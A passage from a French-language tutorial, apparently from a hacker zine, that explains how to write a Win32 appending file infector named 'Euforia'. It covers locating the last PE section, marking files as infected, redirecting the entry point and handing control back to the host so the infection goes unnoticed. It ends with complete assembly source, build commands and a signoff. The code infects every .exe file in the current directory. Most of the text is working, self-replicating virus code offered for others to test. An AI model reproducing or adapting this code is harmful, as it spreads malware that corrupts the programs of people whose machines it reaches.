edx, [eax+3ch] ; edx = adresse relative du Pe header. push eax ; on sauve l'image base. add edx, eax ; edx -> Pe header. push edx ; on push l'adresse du Pe header. xor eax, eax ; eax = 0. movzx eax, [edx+6h] ; on mets dans eax, le nb de sections. dec eax ; eax = eax - 1. mov ecx, 28h ; ecx = taille de l'entete d'une section. mul ecx ; eax = eax * 28h. pop edx ; edx -> Pe header. mov ebx, [edx+74h] ; on mets dans ebx le nb total de répertoires. shl ebx, 3 ; nb de réperoires * 8. push edx ; edx = adresse du Pe header. add edx, 78h ; edx = edx + Taille du Pe header + Taille des entetes optionnel. add edx, ebx ; edx = edx + taille prise par la table des réperoires. add edx, eax ; edx -> dernière section. ------------------------------- Désormais, nous connaissons donc bien l'adresse de l'header de la dernière section. La première chose que nous allons faire est de rendre cette section écrivable et lisable. A l'offset 24h de l'header de la dernière section se trouve les charactéristiques de la section, c'est donc ici que nous allons modifié pour permettre de rendre la section readable et writable. Un or [edx+24h], 0A0000020h va nous permettre de faire cela. Pour ne pas avoir à infecter des fichiers déjà infectés, nous allons devoir mettre une marque qui nous permettra de savoir si le fichier a déjà été infecté par le virus. Pour cela, nous allons devoir écrire notre signature dans un champs qui est inutilisé pour le fonctionnement du programme, on a justement cela à l'offset 24h du Pe header. Généralement, un infecteur lorsqu'il s'injecte dans un programme à pour fonction de modifier l'EntryPoint pour que lorsque l'on relancera le fichier après infection, la première ligne de code à éxécuter soit celle de notre virus qui s'est copié. Réfléchissons un peu, notre infecteur va aller s'écrire à la fin de la dernière section. En ajoutant donc la taille de la dernière section avant infection à l' adresse virtuel relative de la dernière section, on devrait donc modifier l'EntryPoint pour qu'il pointe justement sur ce que l'on désire. L' autre chose à connaître est l'endroit où l'on désire copier notre code, comme on l'a dit, notre code sera écrit à la fin de la dernière section. La somme de l'offset de la section dans le fichier avec la taille de la dernière section sur le disque devrait donc nous permettre de savoir où nous allons copier notre infecteur. Voici une petit rappel sur l'header d'une section: - à l'offset 0ch se trouve l'adresse relative de la section. - à l'offset 10h se trouve la taille de la section sur le disque. - à l'offset 14h se trouve l'offset de la section dans le fichier. Le code sera commenté plus bas. L'ajout de notre infecteur dans la dernière section va nodifier certains champs de l'header de de cette section: - à l'offset 08h se trouve la taille de la section en mémoire qui doit être un multiple de l'alignement qui est à l'offset 20h de l'entête optionnel. - à l'offset 10h se trouve aussi la taille de la section sur le disque qui doit être un multiple de l'alignement qui se trouve à l'offset 24h de l'optionnal header. Pour modifier ces 2 champs, nous allons utilsé la call align décrit plus haut. ------------------------------- or [edx+24h], 0A0000020h ; on modifie les attributs de la dernière section. pop ebx ; ebx -> Pe header. mov [ebx+4ch], "EKIR" ; on écrit notre signature. mov eax, [edx+10h] ; eax = Taille de la section sur le disque. mov ecx, eax ; eax = ecx. add ecx, [edx+0ch] ; Entrypoint = ecx + Adresse virtuel de la section. add eax, [edx+14h] ; Endroit où copier le virus = eax + offset de la section. push eax ; eax = endroit de copie du virus. push ecx ; ecx = Entrypoint. mov ecx, [ebp+Alignraw] ; ecx = alignement de la section sur le disque. mov eax, [edx+10h] ; eax = taille de la section sur le disque. push edx ; .rsrc ; on sauve edx qui va être modifié dans le call. call align ; on aligne. pop edx ; on récupère edx. mov [edx+10h], eax ; on écrit la nouvelle taille du fichier sur le disque, en ; ajoutant la taille de notre virus. mov ecx, [ebp+Alignvirtual] ; ecx = alignement de la section en mémoire. mov eax, [edx+08h] ; eax = taille de la section en mémoire. push edx ; .rsrc call align ; on aligne. pop edx mov [edx+08h], eax ; et on écrit le nouvel eax calculé. ------------------------------- Un fichier infecté aura son EntryPoint modifier de telle sorte que le code de l'infecteur soit exécuté avant toute chose. Mais après ça, pour rester le plus discret possible, l'infecteur doit être capable de rendre la main au code d'origine pour que le programme puisse fonctionner comme si rien ne s'était passé. Au offset 10h et 1ch de l'entête optionnel ( donc 28h et 34h à partir du Pe header) se trouve respectivement l' Entrypoint, cad l'adresse relative la 1ere instruction à exécuter et l' image base du fichier, cad l'adresse du fichier en mémoire. Donc : (Pe header + 28h) + (Pe header + 34h) == Adresse où rendre la main. | | V V Entrypoint Image Base A l'offset 38h de l'optionnal header se trouve la taille totale de l'image du fichier. Ce champs va donc être modifié suite à l'ajout de notre code. Taille de l'image == Taille de la dernière section + Adresse relative de la dernière section (calculé avec l'ajout du virus) | | | V V V (Pe header + 50h) == (Header last section + 10h) + (Header last section + 0ch) C'est bon, on a fini toutes les modifications de l'header, il ne nous reste plus que la copie de notre code en mémoire qui sera copié sur le disque lorsque l'on démappera. Pour cela, on va utilisé l'instruction rep movsb qui va transférer ce qui se trouve en esi vers la zone mémoire pointé par edi, et cela ecx fois. Après, il ne nous restera plus qu'à démapper. ------------------------------- mov eax, dword ptr [ebx+34h] ; eax = ImageBase. add eax, dword ptr [ebx+28h] ; eax = ImageBase + Entrypoint. mov [ebp+Entrypoint], eax ; on le sauve. pop ecx ; ecx = new Entrypoint calculé. mov [ebx+28h], ecx ; on l'écrit. mov eax,[edx+10h] ; eax = Taille de la dernière section. add eax,[edx+0Ch] ; eax = eax + Adresse relative de la dernière section mov [ebx+50h],eax ; on copie la nouvelle taille totale du fichier. pop eax ; eax = adresse relative où copier le virus. pop edi ; edi = adresse de base = MZ header. add edi, eax ; edi = adresse où copier le virus. mov ecx, offset fin - offset start ; on copie la taille de notre infecteur. lea esi, [ebp+start] ; et à partir du label start donc du début. rep movsb ; on copie. push [ebp+AddrMap] call [ebp+AunMapViewOfFile] ; on démap. push [ebp+Mhandle] call [ebp+ACloseHandle] push [ebp+Fhandle] call [ebp+ACloseHandle] ------------------------------- La dernière chose à faire est de rendre la main au fichier hôte, comme si rien ne s'était passé. ------------------------------- mov ecx, [ebp+Entrypoint] ; ecx = 1ere instruction que le fichier exécutait avant mov [ebp+NewEp], ecx ; qui soit infecté. .... .... .... exit: cmp ebp, 0 ; on regarde si on en est à notre 1ere infection. je exit1 ; si oui, on ferme avec l'api ExitProcess. mov eax, [ebp+NewEp] ; sinon, on effectue un saut et on rend la main jmp eax ; au programme d'origine. .... .... exit1: push 0 call [ebp+AExitProcess] ------------------------------- [3/ Code source : ] ----------------------------------------------------------------------------------------------- ; euforia.asm par rikenar. ; virus win32 qui infecte tous les fichiers exe du répertoire. ; et qui ajoute l'affichage d'une messagebox. ; tasm32 -ml -m5 -q euforia.asm ; tlink32 -Tpe -aa -x -c euforia.obj ,,,import32 ; rikenar.al@secureroot.com ; http://barbus.homeunix.org/rikenar ; étant donné que l'on enregistre tous dans la section .code, il faut qu'on rende cette section ; writable. Pour faire ça, vous avez qu'à modifier les caractéristiques de la section .code en ; e0000020 avec procdump. ; testé sous windows 98, il est possible que sur xp, 2000, et nt, le code ne fonctionne pas à ; cause du fait que ces 3 derniers doivent être moins souple au niveau de l'écriture de notre ; code ( mais en cherchant un peu, on doit pouvoir arriver à le faire fonctionner parfaitement). .386 locals jumps .model flat, stdcall extrn ExitProcess:NEAR extrn MessageBoxA:NEAR .data db "Euforia 1.0 par rikenar",0 .code start: mov eax, [esp] call delta delta: pop ebp sub ebp, offset delta and eax, 0ffff0000h inc eax loop: dec eax cmp word ptr [eax],'ZM' jnz loop mov ecx, eax mov ecx, [ecx + 3ch] add ecx, eax cmp word ptr [ecx], 'EP' jnz loop mov [ebp+APe],ecx mov [ebp+Akernel],eax mov edx, ecx mov edx, [edx + 78h] add edx, eax mov ebx, [edx + 1ch] add ebx, eax mov [ebp+Afonction], ebx mov ebx, [edx + 20h] add ebx, eax mov [ebp+Namefunc], ebx mov ebx, [edx + 24h] add ebx, eax mov [ebp+Aordinal], ebx mov edx, eax mov esi,[ebp+Namefunc] xor ecx, ecx go: lodsd add eax,edx mov edi,eax push esi lea esi,[ebp+NGetProcAdress] comp: cmpsb jne next cmp byte ptr [edi], 0 je good jmp comp next: pop esi inc ecx jmp go good: shl ecx, 1 add ecx, [ebp+Aordinal] xor eax, eax mov ax, word ptr [ecx] shl eax, 2 add eax, [ebp+Afonction] mov ebx, [eax] add ebx, edx mov [ebp+AGetProcAdress], ebx lea edi, [ebp+AGetModuleHandle] lea esi, [ebp+NGetModuleHandle] search: push esi push [ebp+Akernel] call [ebp+AGetProcAdress] mov [edi], eax add edi, 4 next_api: inc esi cmp byte ptr [esi], 0 jne next_api inc esi cmp byte ptr [esi], 0cch jne search lea edi, [ebp+Auser] lea eax, [ebp+Nuser] push eax call [ebp+AGetModuleHandle] mov [ebp+Auser], eax lea edi, [ebp+NMessageBox] push edi push [ebp+Auser] call [ebp+AGetProcAdress] mov [ebp+AMessageBox], eax lea esi, [ebp+Titre] lea edi, [ebp+Message] push 30h push esi push edi push 0 call [ebp+AMessageBox] mov ecx, [ebp+Entrypoint] mov [ebp+NewEp], ecx lea esi,[ebp+WFD] lea eax,[ebp+exe_mask] push esi push eax call [ebp+AFindFirstFile] cmp eax, 0ffffffffh je exit mov [ebp+FirstHandle],eax re: push 00h push 00h push 03h push 00h push 01h push 80000000h or 40000000h lea esi,[ebp+WFD_szFileName] push esi call [ebp+ACreateFileA] mov [ebp+Fhandle], eax mov esi,[ebp+WFD_nFileSizeLow] call mapping call infection second: lea edi,[ebp+WFD] push edi push [ebp+FirstHandle] call [ebp+AFindNextFile] test eax, eax jnz re exit: cmp ebp, 0 je exit1 mov eax, [ebp+NewEp] jmp eax mapping: push 00h push esi push 00h push 04h push 00h push [ebp+Fhandle] call [ebp+ACreateFileMappingA] mov [ebp+Mhandle], eax push esi push 00h push 00h push 02h push [ebp+Mhandle] call [ebp+AMapViewOfFile] mov [ebp+AddrMap], eax ret infection: mov esi,[eax+3Ch] add esi,eax cmp dword ptr [esi],'EP' jnz demap cmp dword ptr [esi+4Ch],"EKIR" jz demap mov ecx, [esi+38h] mov [ebp+Alignvirtual], ecx mov ecx, [esi+3ch] mov [ebp+Alignraw], ecx push [ebp+AddrMap] call [ebp+AunMapViewOfFile] push [ebp+Mhandle] call [ebp+ACloseHandle] mov ecx,[ebp+Alignraw] mov eax,[ebp+WFD_nFileSizeLow] call align xchg eax, esi call mapping mov edx, [eax+3ch] push eax add edx, eax push edx xor eax, eax mov ax, [edx+6h] dec eax mov ecx, 28h mul ecx pop edx mov ebx, [edx+74h] shl ebx, 3 push edx add edx, 78h add edx, ebx add edx, eax or [edx+24h], 0A0000020h pop ebx mov [ebx+4ch], "EKIR" mov eax, [edx+10h] mov ecx, eax add ecx, [edx+0ch] add eax, [edx+14h] push eax push ecx mov ecx, [ebp+Alignraw] mov eax, [edx+10h] push edx call align pop edx mov [edx+10h], eax mov ecx, [ebp+Alignvirtual] mov eax, [edx+08h] push edx call align pop edx mov [edx+08h], eax mov eax, dword ptr [ebx+34h] add eax, dword ptr [ebx+28h] mov [ebp+Entrypoint], eax pop ecx mov [ebx+28h], ecx mov eax,[edx+10h] add eax,[edx+0Ch] mov [ebx+50h],eax pop eax pop edi add edi, eax mov ecx, offset fin - offset start lea esi, [ebp+start] rep movsb push [ebp+AddrMap] call [ebp+AunMapViewOfFile] push [ebp+Mhandle] call [ebp+ACloseHandle] push [ebp+Fhandle] call [ebp+ACloseHandle] ret demap: push [ebp+AddrMap] call [ebp+AunMapViewOfFile] push [ebp+Mhandle] call [ebp+ACloseHandle] push [ebp+Fhandle] call [ebp+ACloseHandle] jmp second exit1: push 0 call [ebp+AExitProcess] align: add eax, offset fin - offset start xor edx, edx div ecx inc eax mul ecx ret Akernel dd 0 APe dd 0 Afonction dd 0 Namefunc dd 0 Aordinal dd 0 FirstHandle dd 0 Fhandle dd 0 Mhandle dd 0 AddrMap dd 0 Alignraw dd 0 Alignvirtual dd 0 Entrypoint dd 0 Rawsize dd 0 NewEp dd 0 Base dd 0 NGetProcAdress db "GetProcAddress",0 NGetModuleHandle db "GetModuleHandleA",0 NExitProcess db "ExitProcess",0 NFindFirstFile db 'FindFirstFileA',0 NFindNextFile db 'FindNextFileA',0 NCreateFileA db "CreateFileA",0 NCreateFileMappingA db "CreateFileMappingA",0 NMapViewOfFile db "MapViewOfFile",0 NunMapViewOfFile db "UnmapViewOfFile",0 NCloseHandle db "CloseHandle",0 NSetFilePointer db "SetFilePointer",0 NSetEndOfFile db "SetEndOfFile",0 db 0cch AGetProcAdress dd 0 AGetModuleHandle dd 0 AExitProcess dd 0 AFindFirstFile dd 0 AFindNextFile dd 0 ACreateFileA dd 0 ACreateFileMappingA dd 0 AMapViewOfFile dd 0 AunMapViewOfFile dd 0 ACloseHandle dd 0 ASetFilePointer dd 0 ASetEndOfFile dd 0 Nuser db "User32.dll" Auser dd 0 NMessageBox db "MessageBoxA",0 AMessageBox dd 0 Message db "Ce fichier est infecté :)",0 Titre db "Warning !!!",0 exe_mask db "*.exe",0 WFD label byte WFD_dwFileAttributes dd ? WFD_ftCreationTime dd ? dd ? WFD_ftLastAccessTime dd ? dd ? WFD_ftLastWriteTime dd ? dd ? WFD_nFileSizeHigh dd ? WFD_nFileSizeLow dd ? WFD_dwReserved0 dd ? WFD_dwReserved1 dd ? WFD_szFileName db 260 dup (?) WFD_szAlternateFileName db 13 dup (?) db 03 dup (?) fin: end start ----------------------------------------------------------------------------------------------- [ 4/ Conclusion : ] Donc voilà la source de cette 1ere version de euforia, ce code n'est en aucun cas une référence et n'est en rien optimisé. Donc vous le savez, si vous voulez tester ce programme, alors faites le sur votre machine et puis c'est tout (blablabla!). Si jamais vous voulez, vous pouvez venir voir sur ma page , il y a aussi un article sur la programmation d'infecteur 16 bits. Je voudrai remercié kaze pour son aide, tout ceux qui m'ont permis de réaliser cela grâce à leurs articles, cad merci à Tipiax, à Billy Belcebu, à Christal, à Doctor L. et à tout les membres de rtc, merci aussi à toute la team ioc et puis aussi plus généralement à tous ceux qui refusent de se soumettre aux dirigeants qui nous gouvernent, aux patrons qui nous exploitent, aux médias qui nous disent n'importe quoi et à l'état qui restreint ma liberté et la votre... Comme d'habitude, veuillez m'excuser pour les fautes, pour les erreurs si il y en a, et si vous voulez me contacter pour n'importe quoi, alors : rikenar.al@secureroot.com http://barbus.homeunix.org/rikenar " C'EST PAS EN PISSANT SUR LES MURS QUE BABYLONE VA TREMBLER "